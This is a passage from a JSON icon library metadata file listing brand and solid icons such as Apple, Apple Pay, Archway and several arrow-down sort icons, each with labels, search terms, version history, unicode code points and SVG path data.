        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"
      }
    },
    "free": ["brands"]
  },
  "apper": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f371",
    "label": "Apper Systems AB",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"
      }
    },
    "free": ["brands"]
  },
  "apple": {
    "changes": ["3.2.0", "5.0.0", "5.0.7", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["fruit", "ios", "mac", "operating system", "os", "osx"]
    },
    "styles": ["brands"],
    "unicode": "f179",
    "label": "Apple",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"
      }
    },
    "free": ["brands"]
  },
  "apple-pay": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f415",
    "label": "Apple Pay",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"
      }
    },
    "free": ["brands"]
  },
  "apple-whole": {
    "aliases": {
      "names": ["apple-alt"],
      "unicodes": {
        "composite": ["1f34e", "1f34f"],
        "secondary": ["10f5d1"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apple",
        "fall",
        "fruit",
        "fuji",
        "green",
        "green apple",
        "macintosh",
        "orchard",
        "red",
        "red apple",
        "seasonal",
        "vegan"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5d1",
    "label": "Apple Whole",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 112c-8.8 0-16-7.2-16-16V80c0-44.2 35.8-80 80-80h16c8.8 0 16 7.2 16 16V32c0 44.2-35.8 80-80 80H224zM0 288c0-76.3 35.7-160 112-160c27.3 0 59.7 10.3 82.7 19.3c18.8 7.3 39.9 7.3 58.7 0c22.9-8.9 55.4-19.3 82.7-19.3c76.3 0 112 83.7 112 160c0 128-80 224-160 224c-16.5 0-38.1-6.6-51.5-11.3c-8.1-2.8-16.9-2.8-25 0c-13.4 4.7-35 11.3-51.5 11.3C80 512 0 416 0 288z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 112c-8.8 0-16-7.2-16-16V80c0-44.2 35.8-80 80-80h16c8.8 0 16 7.2 16 16V32c0 44.2-35.8 80-80 80H224zM0 288c0-76.3 35.7-160 112-160c27.3 0 59.7 10.3 82.7 19.3c18.8 7.3 39.9 7.3 58.7 0c22.9-8.9 55.4-19.3 82.7-19.3c76.3 0 112 83.7 112 160c0 128-80 224-160 224c-16.5 0-38.1-6.6-51.5-11.3c-8.1-2.8-16.9-2.8-25 0c-13.4 4.7-35 11.3-51.5 11.3C80 512 0 416 0 288z"
      }
    },
    "free": ["solid"]
  },
  "archway": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f557"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arc", "monument", "road", "street", "tunnel"]
    },
    "styles": ["solid"],
    "unicode": "f557",
    "label": "Archway",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H96h64V352c0-53 43-96 96-96s96 43 96 96V480h64 64c17.7 0 32-14.3 32-32s-14.3-32-32-32V128H32V416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H96h64V352c0-53 43-96 96-96s96 43 96 96V480h64 64c17.7 0 32-14.3 32-32s-14.3-32-32-32V128H32V416z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down": {
    "aliases": {
      "unicodes": {
        "composite": ["2193"],
        "secondary": ["10f063"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Downwards Arrow", "download"]
    },
    "styles": ["solid"],
    "unicode": "f063",
    "label": "Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M169.4 470.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 370.8 224 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 306.7L54.6 265.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M169.4 470.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 370.8 224 64c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 306.7L54.6 265.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-1-9": {
    "aliases": {
      "names": ["sort-numeric-asc", "sort-numeric-down"],
      "unicodes": {
        "secondary": ["10f162"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-asc"]
    },
    "styles": ["solid"],
    "unicode": "f162",
    "label": "Arrow Down 1 9",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M450.7 38c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V160H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V64c0-10.3-4.9-19.9-13.3-26zM160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM418.3 307a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 307zM405.1 419.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M450.7 38c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V160H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V64c0-10.3-4.9-19.9-13.3-26zM160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM418.3 307a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 307zM405.1 419.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-9-1": {
    "aliases": {
      "names": ["sort-numeric-desc", "sort-numeric-down-alt"],
      "unicodes": {
        "secondary": ["10f886"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-asc"]
    },
    "styles": ["solid"],
    "unicode": "f886",
    "label": "Arrow Down 9 1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM450.7 294c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V416H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V320c0-10.3-4.9-19.9-13.3-26zM418.3 91a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 91zM405.1 203.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 480c9 0 17.5-3.8 23.6-10.4l88-96c11.9-13 11.1-33.3-2-45.2s-33.3-11.1-45.2 2L192 365.7V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V365.7L95.6 330.4c-11.9-13-32.2-13.9-45.2-2s-13.9 32.2-2 45.2l88 96C142.5 476.2 151 480 160 480zM450.7 294c-8.3-6-19.1-7.7-28.8-4.4l-48 16c-16.8 5.6-25.8 23.7-20.2 40.5s23.7 25.8 40.5 20.2l5.9-2V416H384c-17.7 0-32 14.3-32 32s14.3 32 32 32h48 48c17.7 0 32-14.3 32-32s-14.3-32-32-32H464V320c0-10.3-4.9-19.9-13.3-26zM418.3 91a32 32 0 1 1 27.4 57.9A32 32 0 1 1 418.3 91zM405.1 203.8l-6.8 9.2c-10.5 14.2-7.5 34.2 6.7 44.8s34.2 7.5 44.8-6.7l48.8-65.8c14-18.9 21.5-41.7 21.5-65.2c0-48.6-39.4-88-88-88s-88 39.4-88 88c0 39.2 25.6 72.4 61.1 83.8z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-a-z": {
    "aliases": {
      "names": ["sort-alpha-asc", "sort-alpha-down"],
      "unicodes": {
        "secondary": ["10f15d"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-asc"]
    },
    "styles": ["solid"],
    "unicode": "f15d",
    "label": "Arrow Down A Z",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 320c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 416H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 352H352c-17.7 0-32-14.3-32-32zM416 32c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 224H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128C392.8 38.8 403.9 32 416 32zM395.8 176h40.4L416 135.6 395.8 176z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 469.6C177.5 476.2 169 480 160 480s-17.5-3.8-23.6-10.4l-88-96c-11.9-13-11.1-33.3 2-45.2s33.3-11.1 45.2 2L128 365.7V64c0-17.7 14.3-32 32-32s32 14.3 32 32V365.7l32.4-35.4c11.9-13 32.2-13.9 45.2-2s13.9 32.2 2 45.2l-88 96zM320 320c0-17.7 14.3-32 32-32H480c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9L429.3 416H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H352c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L402.7 352H352c-17.7 0-32-14.3-32-32zM416 32c12.1 0 23.2 6.8 28.6 17.7l64 128 16 32c7.9 15.8 1.5 35-14.3 42.9s-35 1.5-42.9-14.3L460.2 224H371.8l-7.2 14.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l16-32 64-128C392.8 38.8 403.9 32 416 32zM395.8 176h40.4L416 135.6 395.8 176z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-long": {
    "aliases": {
      "names": ["long-arrow-down"],
      "unicodes": {
        "secondary": ["10f175"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["download", "long-arrow-down"]
    },
    "styles": ["solid"],
    "unicode": "f175",
    "label": "Arrow Down Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M169.4 502.6c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 402.7 224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 370.7L86.6 329.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M169.4 502.6c12.5 12.5 32.8 12.5 45.3 0l128-128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 402.7 224 32c0-17.7-14.3-32-32-32s-32 14.3-32 32l0 370.7L86.6 329.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-down-short-wide": {
    "aliases": {
      "names": ["sort-amount-desc", "sort-amount-down-alt"],
      "unicodes": {
        "secondary": ["10f884"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "order", "sort-amount-asc"]
    },
    "styles": ["solid"],
    "unicode": "f884",
    "label": "Arrow Down Short Wide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
